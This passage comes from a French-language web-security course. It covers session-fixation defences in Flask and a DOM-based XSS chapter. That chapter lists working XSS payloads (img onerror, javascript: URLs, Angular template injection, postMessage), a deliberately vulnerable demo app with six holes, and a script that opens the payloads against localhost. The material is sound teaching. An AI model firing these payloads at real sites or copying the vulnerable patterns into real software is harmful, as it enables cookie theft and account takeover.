    conn.commit()
    conn.close()

init_db()

def regenerate_session():
    """
    [OK] Régénère complètement le session ID
    """
    # [OK] Sauvegarder les données à préserver
    old_data = dict(session)
    
    # [OK] Clear complètement
    session.clear()
    
    # [OK] Générer nouveau session ID
    session['_id'] = secrets.token_urlsafe(32)
    session['created_at'] = datetime.utcnow().isoformat()
    session['last_activity'] = datetime.utcnow().isoformat()
    
    # [OK] Restaurer seulement les données nécessaires (PAS l'ancien session ID)
    # Ne restaurer AUCUNE donnée si c'était avant authentification
    
    return session['_id']

def validate_session():
    """
    [OK] Valide l'intégrité de la session
    """
    # [OK] Vérifier timeout
    if 'last_activity' in session:
        last_activity = datetime.fromisoformat(session['last_activity'])
        
        if datetime.utcnow() - last_activity > timedelta(minutes=30):
            session.clear()
            return False
    
    # [OK] Mettre à jour last activity
    session['last_activity'] = datetime.utcnow().isoformat()
    
    # [OK] Vérifier IP (optionnel mais recommandé)
    if 'ip_address' not in session:
        session['ip_address'] = request.remote_addr
    elif session['ip_address'] != request.remote_addr:
        # IP changée -> suspicious
        session.clear()
        return False
    
    # [OK] Vérifier User-Agent
    current_ua = request.headers.get('User-Agent', '')
    
    if 'user_agent' not in session:
        session['user_agent'] = current_ua
    elif session['user_agent'] != current_ua:
        # User-Agent changé -> suspicious
        session.clear()
        return False
    
    return True

# [OK] ROUTE SÉCURISÉE : Login
@app.route('/api/login', methods=['POST'])
def login_secure():
    """
    [OK] SÉCURISÉ : Régénère session ID après login
    """
    data = request.json
    username = data.get('username', '')
    password = data.get('password', '')
    
    conn = sqlite3.connect(DB_FILE)
    conn.row_factory = sqlite3.Row
    cursor = conn.cursor()
    
    cursor.execute('SELECT * FROM users WHERE username = ?', (username,))
    user = cursor.fetchone()
    
    if not user:
        conn.close()
        return jsonify({"error": "Invalid credentials"}), 401
    
    # Vérifier password (simplifié pour démo)
    hashed = hashlib.sha256(password.encode()).hexdigest()
    
    if user['password'] != hashed:
        conn.close()
        return jsonify({"error": "Invalid credentials"}), 401
    
    # [OK] CRITIQUE : Régénérer session ID AVANT de stocker les données
    old_session_id = session.get('_id')
    new_session_id = regenerate_session()
    
    # [OK] Invalider l'ancienne session en DB
    if old_session_id:
        cursor.execute('''
            UPDATE sessions SET is_active = 0 WHERE session_id = ?
        ''', (old_session_id,))
    
    # [OK] Créer nouvelle session en DB
    cursor.execute('''
        INSERT INTO sessions (session_id, user_id, ip_address, user_agent)
        VALUES (?, ?, ?, ?)
    ''', (new_session_id, user['id'], request.remote_addr, 
          request.headers.get('User-Agent', '')))
    
    conn.commit()
    conn.close()
    
    # [OK] Maintenant stocker les données utilisateur
    session['user_id'] = user['id']
    session['username'] = user['username']
    session['authenticated'] = True
    session['ip_address'] = request.remote_addr
    session['user_agent'] = request.headers.get('User-Agent', '')
    
    return jsonify({
        "success": True,
        "username": user['username'],
        "message": "Login successful",
        "new_session_id": new_session_id  # Pour démo seulement
    })

# [OK] ROUTE SÉCURISÉE : Dashboard
@app.route('/api/dashboard')
def dashboard_secure():
    """Dashboard avec validation de session"""
    # [OK] Valider session
    if not validate_session():
        return jsonify({"authenticated": False, "error": "Invalid session"}), 401
    
    if not session.get('authenticated'):
        return jsonify({"authenticated": False})
    
    conn = sqlite3.connect(DB_FILE)
    conn.row_factory = sqlite3.Row
    cursor = conn.cursor()
    
    cursor.execute('SELECT * FROM users WHERE id = ?', (session['user_id'],))
    user = cursor.fetchone()
    conn.close()
    
    if not user:
        return jsonify({"authenticated": False})
    
    return jsonify({
        "authenticated": True,
        "user_id": user['id'],
        "username": user['username'],
        "balance": user['balance']
    })

# [OK] ROUTE SÉCURISÉE : Session Info
@app.route('/api/session-info')
def session_info_secure():
    """Informations session (limitées)"""
    validate_session()
    
    # [OK] Ne pas exposer le session ID complet
    session_id = session.get('_id', '')
    masked_id = session_id[:8] + '...' + session_id[-8:] if session_id else 'N/A'
    
    return jsonify({
        "session_id": masked_id,  # [OK] Masqué
        "authenticated": session.get('authenticated', False),
        "username": session.get('username'),
        "session_age": "Active"
    })

# [OK] ROUTE SÉCURISÉE : Logout
@app.route('/api/logout', methods=['POST'])
def logout_secure():
    """
    [OK] Logout complet avec invalidation en DB
    """
    session_id = session.get('_id')
    
    if session_id:
        # [OK] Invalider en DB
        conn = sqlite3.connect(DB_FILE)
        cursor = conn.cursor()
        
        cursor.execute('''
            UPDATE sessions SET is_active = 0 WHERE session_id = ?
        ''', (session_id,))
        
        conn.commit()
        conn.close()
    
    # [OK] Clear session
    session.clear()
    
    return jsonify({"message": "Logged out successfully"})

# [X] BLOQUER les routes qui acceptent session ID depuis URL
@app.route('/api/set-session')
def set_session_blocked():
    """
    [OK] BLOQUÉ : N'accepte PAS session ID depuis URL
    """
    return jsonify({
        "error": "Setting session ID via URL is not allowed",
        "security": "Session IDs must be managed by the server only"
    }), 403

if __name__ == '__main__':
    print("[SECURITE]  Session Fixation SÉCURISÉ sur http://localhost:5001")
    print("[OK] Protections :")
    print("   1. Session ID régénéré après login")
    print("   2. Session ID jamais accepté depuis URL")
    print("   3. Validation IP et User-Agent")
    print("   4. Session timeout (30 min)")
    print("   5. HttpOnly, Secure, SameSite cookies")
    print("   6. Session tracking en DB")
    print("   7. Invalidation complète au logout")
    app.run(debug=False, port=5001, ssl_context='adhoc')
```

---

## [GRAPHIQUE] RÉCAPITULATIF SESSION FIXATION

### [OK] Protections essentielles

| Protection | Importance | Implémentation |
|-----------|-----------|----------------|
| Régénérer session après login | ***** | `session.regenerate()` |
| Jamais accepter session ID en URL | ***** | Bloquer `?session=` |
| HttpOnly cookies | ***** | `httponly=True` |
| Secure cookies | ***** | `secure=True` |
| SameSite cookies | **** | `samesite='Lax'` |
| Validation IP/UA | **** | Vérifier à chaque requête |
| Session timeout | ***** | 30 min idle |
| Session tracking | **** | DB avec is_active |

---

### [X] Erreurs critiques

- [X] Ne PAS régénérer session ID après login
- [X] Accepter session ID depuis URL/GET
- [X] Accepter session ID depuis cookie sans validation
- [X] Pas de validation IP/User-Agent
- [X] Sessions sans expiration
- [X] Ne pas invalider session au logout

---

### [OBJECTIF] Checklist complète

```python
[OK] Régénérer session ID APRÈS login
[OK] Invalider ancien session ID
[OK] Bloquer session ID dans URL
[OK] HttpOnly cookies (pas de JS)
[OK] Secure cookies (HTTPS only)
[OK] SameSite cookies
[OK] Valider IP address
[OK] Valider User-Agent
[OK] Session timeout (30 min)
[OK] Tracking session en DB
[OK] Invalidation complète au logout
[OK] Session ID cryptographiquement sécurisé
[OK] Pas d'exposition du session ID
```

---

**Prêt pour DOM-based Attacks (détaillé) ?** [OBJECTIF]

# 17. DOM-BASED ATTACKS (DÉTAILLÉ)

## [DOCS] THÉORIE APPROFONDIE

### Qu'est-ce qu'une attaque DOM-based ?

**Définition :**
Vulnérabilité côté client où **le code JavaScript vulnérable modifie le DOM** en utilisant des données contrôlées par l'attaquant, **sans que les données passent par le serveur**. L'exploitation se produit entièrement dans le navigateur.

**Analogie simple :**

Imagine une calculatrice qui affiche directement ce que tu tapes :
- Tu tapes "2+2" -> Affiche "2+2"
- Un attaquant tape "alert('XSS')" -> Exécute le code !

La différence avec XSS traditionnel : le serveur n'a jamais vu les données malveillantes. Tout se passe dans le navigateur.

---

### Différence XSS Traditionnel vs DOM-based

| Aspect | XSS Traditionnel | DOM-based XSS |
|--------|------------------|---------------|
| **Flux** | Client -> Serveur -> Client | Client -> Client seulement |
| **Serveur** | Traite les données | Ne voit jamais les données |
| **Payload** | Dans requête HTTP | Dans URL fragment (#), localStorage, etc. |
| **Détection** | WAF peut bloquer | WAF ne peut PAS bloquer |
| **Log** | Visible dans logs serveur | Invisible dans logs |

**Exemple visuel :**

```
XSS Traditionnel (Reflected):
1. Attaquant -> URL: http://site.com/search?q=<script>alert(1)</script>
2. Serveur reçoit: q=<script>alert(1)</script>
3. Serveur renvoie: <div>Results for: <script>alert(1)</script></div>
4. Navigateur exécute le script

DOM-based XSS:
1. Attaquant -> URL: http://site.com/#<script>alert(1)</script>
2. [X] Serveur NE REÇOIT PAS le fragment (#)
3. Serveur renvoie: <div id="content"></div>
4. JavaScript lit: location.hash -> "<script>alert(1)</script>"
5. JavaScript écrit: document.getElementById('content').innerHTML = location.hash
6. Navigateur exécute le script
```

**Clé :** Le `#` (fragment) n'est **jamais envoyé au serveur** !

---

### Sources et Sinks

**Source :** Origine des données contrôlées par l'attaquant

**Sink :** Fonction dangereuse qui utilise les données

#### **Sources communes :**

| Source | Description | Exemple |
|--------|-------------|---------|
| `location.hash` | Fragment URL (#) | `#<script>alert(1)</script>` |
| `location.search` | Query string (?) | `?name=<script>` |
| `document.URL` | URL complète | `http://site.com#xss` |
| `document.referrer` | Page précédente | Contrôlé par attaquant |
| `localStorage` | Stockage local | Peut être modifié |
| `sessionStorage` | Stockage session | Peut être modifié |
| `window.name` | Nom de fenêtre | Persiste entre pages |
| `postMessage` | Messages cross-origin | Données externes |

---

#### **Sinks dangereux :**

| Sink | Risque | Exemple |
|------|--------|---------|
| `innerHTML` | CRITIQUE | `div.innerHTML = userInput` |
| `outerHTML` | CRITIQUE | `div.outerHTML = userInput` |
| `document.write()` | CRITIQUE | `document.write(userInput)` |
| `eval()` | CRITIQUE | `eval(userInput)` |
| `setTimeout()` | CRITIQUE | `setTimeout(userInput, 100)` |
| `setInterval()` | CRITIQUE | `setInterval(userInput, 100)` |
| `Function()` | CRITIQUE | `new Function(userInput)()` |
| `location` | ÉLEVÉ | `location = userInput` |
| `location.href` | ÉLEVÉ | `location.href = userInput` |
| `element.setAttribute()` | ÉLEVÉ | `setAttribute('src', userInput)` |
| `jQuery.html()` | CRITIQUE | `$('#div').html(userInput)` |

---

### Patterns d'attaque DOM-based

#### 1. **innerHTML avec location.hash**

**Code vulnérable :**

```javascript
// Page: http://site.com/page.html
<script>
  // [X] VULNÉRABLE
  document.getElementById('content').innerHTML = location.hash.substring(1);
</script>
```

**Exploitation :**

```
http://site.com/page.html#<img src=x onerror=alert(document.cookie)>
```

**Résultat :** XSS exécuté !

---

#### 2. **document.write() avec URL parameter**

**Code vulnérable :**

```javascript
<script>
  // [X] VULNÉRABLE
  const name = new URLSearchParams(location.search).get('name');
  document.write('Hello ' + name);
</script>
```

**Exploitation :**

```
http://site.com/page.html?name=<script>alert(1)</script>
```

---

#### 3. **eval() avec données utilisateur**

**Code vulnérable :**

```javascript
<script>
  // [X] VULNÉRABLE
  const code = location.hash.substring(1);
  eval(code);
</script>
```

**Exploitation :**

```
http://site.com/page.html#alert(document.cookie)
```

---

#### 4. **location avec javascript: protocol**

**Code vulnérable :**

```javascript
<script>
  // [X] VULNÉRABLE
  const url = location.hash.substring(1);
  location.href = url;
</script>
```

**Exploitation :**

```
http://site.com/page.html#javascript:alert(document.cookie)
```

---

#### 5. **jQuery avec données non échappées**

**Code vulnérable :**

```javascript
<script>
  // [X] VULNÉRABLE
  const search = location.hash.substring(1);
  $('#results').html('Results for: ' + search);
</script>
```

**Exploitation :**

```
http://site.com/page.html#<img src=x onerror=alert(1)>
```

---

#### 6. **postMessage sans validation**

**Code vulnérable :**

```javascript
// Page réceptrice
window.addEventListener('message', function(e) {
  // [X] VULNÉRABLE : Pas de validation origin
  document.getElementById('content').innerHTML = e.data;
});
```

**Exploitation :**

```javascript
// Page attaquante
const win = window.open('http://victim.com/page.html');
win.postMessage('<img src=x onerror=alert(1)>', '*');
```

---

#### 7. **localStorage injection**

**Code vulnérable :**

```javascript
<script>
  // [X] VULNÉRABLE
  const theme = localStorage.getItem('theme');
  document.body.innerHTML += '<style>' + theme + '</style>';
</script>
```

**Exploitation :**

```javascript
// Via autre page ou XSS
localStorage.setItem('theme', '</style><script>alert(1)</script>');
// Reload page -> XSS
```

---

### Cas réels

**1. Google (2012) - DOM-based XSS**

**Faille :** Google Closure Library

```javascript
// Code vulnérable dans Google Closure
function setContent(html) {
  element.innerHTML = html;  // [X] Sans sanitization
}

// Appelé avec location.hash
```

**Exploitation :** `#<img src=x onerror=alert(1)>`

**Bounty :** $3,133.7

---

**2. AngularJS (2016) - Template Injection**

**Faille :** Expressions AngularJS exécutées sans validation

```html
<!-- [X] VULNÉRABLE -->
<div>{{location.hash}}</div>
```

**Exploitation :**

```
#{{constructor.constructor('alert(1)')()}}
```

---

**3. Facebook (2013) - DOM XSS in messenger**

**Faille :** Parsing URL sans validation

```javascript
// [X] VULNÉRABLE
const url = decodeURIComponent(location.hash);
if (url.startsWith('http://')) {
  window.location = url;
}
```

**Exploitation :**

```
#javascript:alert(document.cookie)//http://
```

**Bounty :** $20,000

---

**4. Yahoo Mail (2015) - DOM-based XSS**

**Faille :** innerHTML avec données URL

**Bounty :** $10,000

---

### Impact des attaques DOM-based

| Impact | Gravité | Description |
|--------|---------|-------------|
| **Cookie theft** | CRITIQUE | Vol de session |
| **Keylogging** | CRITIQUE | Capture frappe clavier |
| **Phishing** | ÉLEVÉ | Faux formulaires |
| **Defacement** | MOYEN | Modification page |
| **Redirection** | ÉLEVÉ | Malware download |
| **Crypto-mining** | MOYEN | Mining non autorisé |

---

## [VERROUILLE] PROTECTION CONTRE DOM-BASED ATTACKS

### [OK] **1. Utiliser textContent au lieu de innerHTML**

```javascript
// [X] DANGEREUX
element.innerHTML = userInput;

// [OK] SÛR (pas d'interprétation HTML)
element.textContent = userInput;
```

---

### [OK] **2. Échapper les données avec DOMPurify**

```javascript
// Installer DOMPurify
<script src="https://cdnjs.cloudflare.com/ajax/libs/dompurify/3.0.6/purify.min.js"></script>

// [OK] Sanitizer AVANT insertion
const clean = DOMPurify.sanitize(userInput);
element.innerHTML = clean;
```

---

### [OK] **3. Valider les URLs**

```javascript
function isValidUrl(url) {
  try {
    const parsed = new URL(url);
    
    // [OK] Whitelist de schemes
    if (!['http:', 'https:'].includes(parsed.protocol)) {
      return false;
    }
    
    // [OK] Whitelist de domaines
    const allowedDomains = ['example.com', 'trusted.com'];
    if (!allowedDomains.some(d => parsed.hostname.endsWith(d))) {
      return false;
    }
    
    return true;
  } catch {
    return false;
  }
}

// Utilisation
const url = location.hash.substring(1);
if (isValidUrl(url)) {
  location.href = url;
}
```

---

### [OK] **4. Valider postMessage origin**

```javascript
window.addEventListener('message', function(e) {
  // [OK] Vérifier origin
  if (e.origin !== 'https://trusted.com') {
    return;
  }
  
  // [OK] Valider structure data
  if (typeof e.data !== 'object' || !e.data.type) {
    return;
  }
  
  // [OK] Sanitizer avant insertion
  const clean = DOMPurify.sanitize(e.data.content);
  document.getElementById('content').innerHTML = clean;
});
```

---

### [OK] **5. Content Security Policy (CSP)**

```html
<!-- [OK] CSP strict -->
<meta http-equiv="Content-Security-Policy" 
      content="default-src 'self'; 
               script-src 'self'; 
               object-src 'none'; 
               base-uri 'self';">
```

**Bénéfices :**
- Bloque `eval()`
- Bloque inline scripts
- Bloque `javascript:` URLs

---

### [OK] **6. Ne JAMAIS utiliser eval() ou Function()**

```javascript
// [X] DANGEREUX
eval(userInput);
new Function(userInput)();
setTimeout(userInput, 100);
setInterval(userInput, 100);

// [OK] Utiliser des alternatives sûres
// Si besoin de parsing :
JSON.parse(userInput);  // Pour JSON uniquement
```

---

### [OK] **7. Encoder les données dans attributes**

```javascript
function encodeAttribute(str) {
  return str
    .replace(/&/g, '&amp;')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#x27;');
}

// [OK] Utilisation
const value = encodeAttribute(userInput);
element.setAttribute('data-value', value);
```

---

## [CODE] EXERCICE 19 : DOM-BASED ATTACKS COMPLET

### Objectif

Créer une Single Page Application (SPA) avec :
- Routing client-side
- Recherche dynamique
- Messages cross-window
- Démonstration de toutes les vulnérabilités DOM-based
- Protection complète avec DOMPurify et validation

---

### PARTIE A : APPLICATION VULNÉRABLE

```python
# dom_xss_vulnerable.py
from flask import Flask, render_template_string

app = Flask(__name__)

@app.route('/')
def index():
    return render_template_string('''
<!DOCTYPE html>
<html>
<head>
    <title>DOM-based XSS Demo</title>
    <style>
        * { margin: 0; padding: 0; box-sizing: border-box; }
        body {
            font-family: Arial, sans-serif;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            padding: 20px;
            color: white;
        }
        .container { max-width: 1400px; margin: 0 auto; }
        .header {
            background: rgba(0,0,0,0.6);
            padding: 30px;
            border-radius: 10px;
            margin-bottom: 30px;
            text-align: center;
        }
        .warning {
            background: #ff4444;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
            font-weight: bold;
        }
        .nav {
            background: rgba(255,255,255,0.1);
            padding: 15px;
            border-radius: 10px;
            margin-bottom: 20px;
        }
        .nav a {
            color: white;
            text-decoration: none;
            padding: 10px 20px;
            margin: 0 5px;
            background: rgba(0,0,0,0.3);
            border-radius: 5px;
            display: inline-block;
        }
        .nav a:hover {
            background: rgba(0,0,0,0.5);
        }
        .content {
            background: rgba(255,255,255,0.1);
            backdrop-filter: blur(10px);
            padding: 30px;
            border-radius: 10px;
            min-height: 400px;
        }
        input, textarea {
            width: 100%;
            padding: 12px;
            margin-bottom: 15px;
            border: 2px solid rgba(255,255,255,0.3);
            border-radius: 5px;
            background: rgba(0,0,0,0.3);
            color: white;
            font-family: inherit;
        }
        button {
            padding: 12px 30px;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            border: none;
            border-radius: 5px;
            color: white;
            font-weight: bold;
            cursor: pointer;
            transition: transform 0.2s;
            margin-right: 10px;
        }
        button:hover { transform: translateY(-2px); }
        .attacks {
            background: rgba(255,68,68,0.2);
            border: 2px solid #ff4444;
            padding: 20px;
            border-radius: 10px;
            margin-top: 30px;
        }
        .attacks h2 { color: #ff4444; margin-bottom: 15px; }
        .attack-item {
            background: rgba(0,0,0,0.3);
            padding: 15px;
            margin: 10px 0;
            border-radius: 5px;
        }
        .attack-item h4 { color: #ff4444; margin-bottom: 10px; }
        code {
            background: rgba(0,0,0,0.5);
            padding: 2px 6px;
            border-radius: 3px;
            word-break: break-all;
        }
        .search-result {
            background: rgba(0,0,0,0.3);
            padding: 15px;
            margin: 10px 0;
            border-radius: 5px;
        }
    </style>
</head>
<body>
    <div class="container">
        <div class="header">
            <h1>[WEB] Modern Web App</h1>
            <p>DOM-based XSS Vulnerability Showcase</p>
        </div>
        
        <div class="warning">
            [ATTENTION] APPLICATION VULNÉRABLE - MULTIPLES DOM-BASED XSS
        </div>
        
        <div class="nav">
            <a href="#home" onclick="navigate('home')">[ACCUEIL] Home</a>
            <a href="#search" onclick="navigate('search')">[RECHERCHE] Search</a>
            <a href="#profile" onclick="navigate('profile')">[UTILISATEUR] Profile</a>
            <a href="#messages" onclick="navigate('messages')">[SPEECH_BALLOON] Messages</a>
        </div>
        
        <div class="content" id="content">
            Loading...
        </div>
        
        <div class="attacks">
            <h2>[DANGER] DOM-based XSS Attack Vectors</h2>
            
            <div class="attack-item">
                <h4>1. innerHTML + location.hash</h4>
                <p>Navigate to: <code>#home</code> page, then try:</p>
                <code id="attack1">http://localhost:5000/#&lt;img src=x onerror=alert('XSS-1')&gt;</code>
                <button onclick="copyToClipboard('attack1')">Copy URL</button>
                <button onclick="testAttack1()">Test Attack</button>
            </div>
            
            <div class="attack-item">
                <h4>2. document.write() + URL parameter</h4>
                <p>Search functionality, try:</p>
                <code id="attack2">http://localhost:5000/#search?q=&lt;img src=x onerror=alert('XSS-2')&gt;</code>
                <button onclick="copyToClipboard('attack2')">Copy URL</button>
                <button onclick="testAttack2()">Test Attack</button>
            </div>
            
            <div class="attack-item">
                <h4>3. eval() + location.hash</h4>
                <p>Calculator feature (hidden), try:</p>
                <code id="attack3">http://localhost:5000/#profile?calc=alert('XSS-3')</code>
                <button onclick="copyToClipboard('attack3')">Copy URL</button>
                <button onclick="testAttack3()">Test Attack</button>
            </div>
            
            <div class="attack-item">
                <h4>4. location.href + javascript: protocol</h4>
                <p>Redirect functionality, try:</p>
                <code id="attack4">http://localhost:5000/#messages?redirect=javascript:alert('XSS-4')</code>
                <button onclick="copyToClipboard('attack4')">Copy URL</button>
                <button onclick="testAttack4()">Test Attack</button>
            </div>
            
            <div class="attack-item">
                <h4>5. jQuery .html() + hash</h4>
                <p>Results display, try:</p>
                <code id="attack5">http://localhost:5000/#search?term=&lt;img src=x onerror=alert('XSS-5')&gt;</code>
                <button onclick="copyToClipboard('attack5')">Copy URL</button>
                <button onclick="testAttack5()">Test Attack</button>
            </div>
            
            <div class="attack-item">
                <h4>6. postMessage without validation</h4>
                <p>Open attacker page in new window to send malicious message</p>
                <button onclick="openAttackerPage()">Open Attacker Page</button>
            </div>
        </div>
    </div>
    
    <!-- jQuery for demo -->
    <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
    
    <script>
        // ===== VULNERABLE ROUTING =====
        
        function navigate(page) {
            const content = document.getElementById('content');
            
            // [X] VULNÉRABILITÉ 1 : innerHTML avec location.hash
            const hash = location.hash.substring(1);
            
            if (page === 'home' || hash === 'home') {
                content.innerHTML = `
                    <h2>[ACCUEIL] Welcome Home</h2>
                    <p>Welcome to our vulnerable web app!</p>
                    <p>Current URL fragment: ${hash}</p>
                `;
            } else if (page === 'search' || hash.startsWith('search')) {
                showSearch();
            } else if (page === 'profile' || hash.startsWith('profile')) {
                showProfile();
            } else if (page === 'messages' || hash.startsWith('messages')) {
                showMessages();
            } else {
                // [X] VULNÉRABILITÉ : Affiche directement le hash
                content.innerHTML = '<h2>Page: ' + hash + '</h2>';
            }
        }
        
        // ===== VULNERABLE SEARCH =====
        
        function showSearch() {
            const content = document.getElementById('content');
            
            content.innerHTML = `
                <h2>[RECHERCHE] Search</h2>
                <input type="text" id="search-input" placeholder="Search...">
                <button onclick="performSearch()">Search</button>
                <div id="search-results"></div>
            `;
            
            // [X] VULNÉRABILITÉ 2 : document.write() avec query parameter
            const params = new URLSearchParams(location.hash.split('?')[1]);
            const query = params.get('q');
            
            if (query) {
                document.getElementById('search-input').value = query;
                performSearch();
            }
        }
        
        function performSearch() {
            const query = document.getElementById('search-input').value;
            const results = document.getElementById('search-results');
            
            // [X] VULNÉRABILITÉ 3 : jQuery .html() sans sanitization
            $('#search-results').html(`
                <h3>Results for: ${query}</h3>
                <div class="search-result">
                    <strong>Result 1:</strong> Document containing "${query}"
                </div>
                <div class="search-result">
                    <strong>Result 2:</strong> Article about "${query}"
                </div>
            `);
        }
        
        // ===== VULNERABLE PROFILE =====
        
        function showProfile() {
            const content = document.getElementById('content');
            
            content.innerHTML = `
                <h2>[UTILISATEUR] User Profile</h2>
                <p><strong>Name:</strong> John Doe</p>
                <p><strong>Email:</strong> john@example.com</p>
                <div id="profile-extra"></div>
            `;
            
            // [X] VULNÉRABILITÉ 4 : eval() avec parameter
            const params = new URLSearchParams(location.hash.split('?')[1]);
            const calc = params.get('calc');
            
            if (calc) {
                try {
                    // [X] DANGEREUX : eval() de données utilisateur
                    const result = eval(calc);
                    document.getElementById('profile-extra').innerHTML = 
                        '<p>Calculation result: ' + result + '</p>';
                } catch (e) {
                    document.getElementById('profile-extra').innerHTML = 
                        '<p style="color: red;">Error: ' + e.message + '</p>';
                }
            }
        }
        
        // ===== VULNERABLE MESSAGES =====
        
        function showMessages() {
            const content = document.getElementById('content');
            
            content.innerHTML = `
                <h2>[SPEECH_BALLOON] Messages</h2>
                <div id="message-list">
                    <div class="search-result">
                        <strong>From Alice:</strong> Hello!
                    </div>
                    <div class="search-result">
                        <strong>From Bob:</strong> How are you?
                    </div>
                </div>
            `;
            
            // [X] VULNÉRABILITÉ 5 : location.href avec javascript: protocol
            const params = new URLSearchParams(location.hash.split('?')[1]);
            const redirect = params.get('redirect');
            
            if (redirect) {
                setTimeout(() => {
                    // [X] DANGEREUX : Pas de validation du protocol
                    location.href = redirect;
                }, 1000);
            }
        }
        
        // ===== VULNERABLE postMessage =====
        
        // [X] VULNÉRABILITÉ 6 : postMessage sans validation origin
        window.addEventListener('message', function(e) {
            // [X] Pas de vérification origin !
            const content = document.getElementById('content');
            
            if (e.data && e.data.type === 'message') {
                // [X] innerHTML directement
                content.innerHTML = `
                    <h2>[MESSAGE] New Message Received</h2>
                    <div class="search-result">
                        <strong>From:</strong> ${e.data.from}<br>
                        <strong>Message:</strong> ${e.data.message}
                    </div>
                `;
            }
        });
        
        // ===== ATTACK FUNCTIONS =====
        
        function testAttack1() {
            location.hash = '#<img src=x onerror=alert("XSS-1: innerHTML + hash")>';
            navigate();
        }
        
        function testAttack2() {
            location.hash = '#search?q=<img src=x onerror=alert("XSS-2: document.write")>';
            navigate('search');
        }
        
        function testAttack3() {
            location.hash = '#profile?calc=alert("XSS-3: eval()")';
            navigate('profile');
        }
        
        function testAttack4() {
            location.hash = '#messages?redirect=javascript:alert("XSS-4: javascript: protocol")';
            navigate('messages');
        }
        
        function testAttack5() {
            location.hash = '#search?term=<img src=x onerror=alert("XSS-5: jQuery .html()")>';
            navigate('search');
        }
        
        function openAttackerPage() {
            const attackerHtml = `
<!DOCTYPE html>
<html>
<head>
    <title>Attacker Page</title>
    <style>
        body {
            font-family: Arial;
            padding: 20px;
            background: #1a1a1a;
            color: white;
        }
        button {
            padding: 15px 30px;
            background: #ff4444;
            color: white;
            border: none;
            border-radius: 5px;
            cursor: pointer;
            font-size: 16px;
            margin: 10px;
        }
    </style>
</head>
<body>
    <h1>[DANGER] Attacker's Page</h1>
    <p>This page will send malicious postMessage to the victim page</p>
    <button onclick="sendMaliciousMessage()">Send Malicious Message</button>
    
    <script>
        function sendMaliciousMessage() {
            // Référence vers la fenêtre victime
            const victimWindow = window.opener;
            
            if (victimWindow) {
                // [X] Envoyer payload malveillant
                victimWindow.postMessage({
                    type: 'message',
                    from: '<img src=x onerror=alert("XSS-6: postMessage")>',
                    message: 'Hello from attacker!'
                }, '*');
                
                alert('Malicious message sent!');
            } else {
                alert('Please open this page from the victim site');
            }
        }
    </script>
</body>
</html>
            `;
            
            const blob = new Blob([attackerHtml], { type: 'text/html' });
            const url = URL.createObjectURL(blob);
            window.open(url, '_blank');
        }
        
        function copyToClipboard(id) {
            const text = document.getElementById(id).textContent;
            navigator.clipboard.writeText(text).then(() => {
                alert('URL copied to clipboard!');
            });
        }
        
        // ===== INITIALIZE =====
        
        // Load page based on hash
        if (location.hash) {
            navigate();
        } else {
            navigate('home');
        }
        
        // Listen for hash changes
        window.addEventListener('hashchange', navigate);
    </script>
</body>
</html>
    ''')

if __name__ == '__main__':
    print("[RAPIDE] DOM-based XSS (VULNÉRABLE) sur http://localhost:5000")
    print("[ATTENTION]  6 vulnérabilités DOM-based XSS différentes !")
    print("\n[DANGER] Vulnérabilités :")
    print("   1. innerHTML + location.hash")
    print("   2. document.write() + URL parameter")
    print("   3. eval() + location.hash")
    print("   4. location.href + javascript: protocol")
    print("   5. jQuery .html() + hash")
    print("   6. postMessage without origin validation")
    app.run(debug=True, port=5000)
```

---

### PARTIE B : TESTER LES ATTAQUES

**1. Lancer l'application :**

```bash
python dom_xss_vulnerable.py
```

**2. Ouvrir http://localhost:5000**

**3. Test Attack 1 - innerHTML + hash :**

- Cliquer "Test Attack" dans la section 1
- Ou naviguer vers : `http://localhost:5000/#<img src=x onerror=alert('XSS-1')>`

**[OK] Alert "XSS-1" exécuté !**

---

**4. Test Attack 2 - Search XSS :**

- Aller sur la page "Search"
- URL : `http://localhost:5000/#search?q=<img src=x onerror=alert('XSS-2')>`

**[OK] XSS dans résultats de recherche !**

---

**5. Test Attack 3 - eval() :**

- URL : `http://localhost:5000/#profile?calc=alert('XSS-3')`

**[OK] Code JavaScript exécuté via eval() !**

---

**6. Test Attack 4 - javascript: protocol :**

- URL : `http://localhost:5000/#messages?redirect=javascript:alert('XSS-4')`
- Attendre 1 seconde

**[OK] Redirection vers javascript: exécutée !**

---

**7. Test Attack 5 - jQuery .html() :**

- Cliquer "Test Attack" dans section 5

**[OK] XSS via jQuery !**

---

**8. Test Attack 6 - postMessage :**

- Cliquer "Open Attacker Page"
- Dans la nouvelle fenêtre, cliquer "Send Malicious Message"
- Retourner à la fenêtre principale

**[OK] XSS via postMessage !**

---

**9. Script d'exploitation automatisé :**

```python
# exploit_dom_xss.py
import webbrowser
import time

BASE_URL = "http://localhost:5000"

payloads = [
    {
        "name": "innerHTML + hash",
        "url": f"{BASE_URL}/#<img src=x onerror=alert('XSS-1')>"
    },
    {
        "name": "Search parameter",
        "url": f"{BASE_URL}/#search?q=<img src=x onerror=alert('XSS-2')>"
    },
    {
        "name": "eval() exploitation",
        "url": f"{BASE_URL}/#profile?calc=alert(document.cookie)"
    },
    {
        "name": "javascript: protocol",
        "url": f"{BASE_URL}/#messages?redirect=javascript:alert('XSS-4')"
    },
    {
        "name": "jQuery .html()",
        "url": f"{BASE_URL}/#search?term=<img src=x onerror=alert('XSS-5')>"
    }
]

print("=" * 80)
print("DOM-BASED XSS - AUTOMATED EXPLOITATION")
print("=" * 80)

for i, payload in enumerate(payloads, 1):
    print(f"\n{i}. Testing: {payload['name']}")
    print(f"   URL: {payload['url']}")
    
    # Ouvrir dans le navigateur
    webbrowser.open(payload['url'])
    
    input("   Press Enter to continue to next payload...")

print("\n" + "=" * 80)
print("All payloads tested!")
print("=" * 80)
```

---

### PARTIE C : VERSION SÉCURISÉE

```python
# dom_xss_secure.py
from flask import Flask, render_template_string

app = Flask(__name__)

@app.route('/')
def index():
    return render_template_string('''
<!DOCTYPE html>
<html>
<head>
    <title>Secure DOM Application</title>
    <meta http-equiv="Content-Security-Policy" 
          content="default-src 'self'; 
                   script-src 'self' 'unsafe-inline' https://cdnjs.cloudflare.com https://code.jquery.com; 
                   style-src 'self' 'unsafe-inline';">
    <style>
        * { margin: 0; padding: 0; box-sizing: border-box; }
        body {
            font-family: Arial, sans-serif;
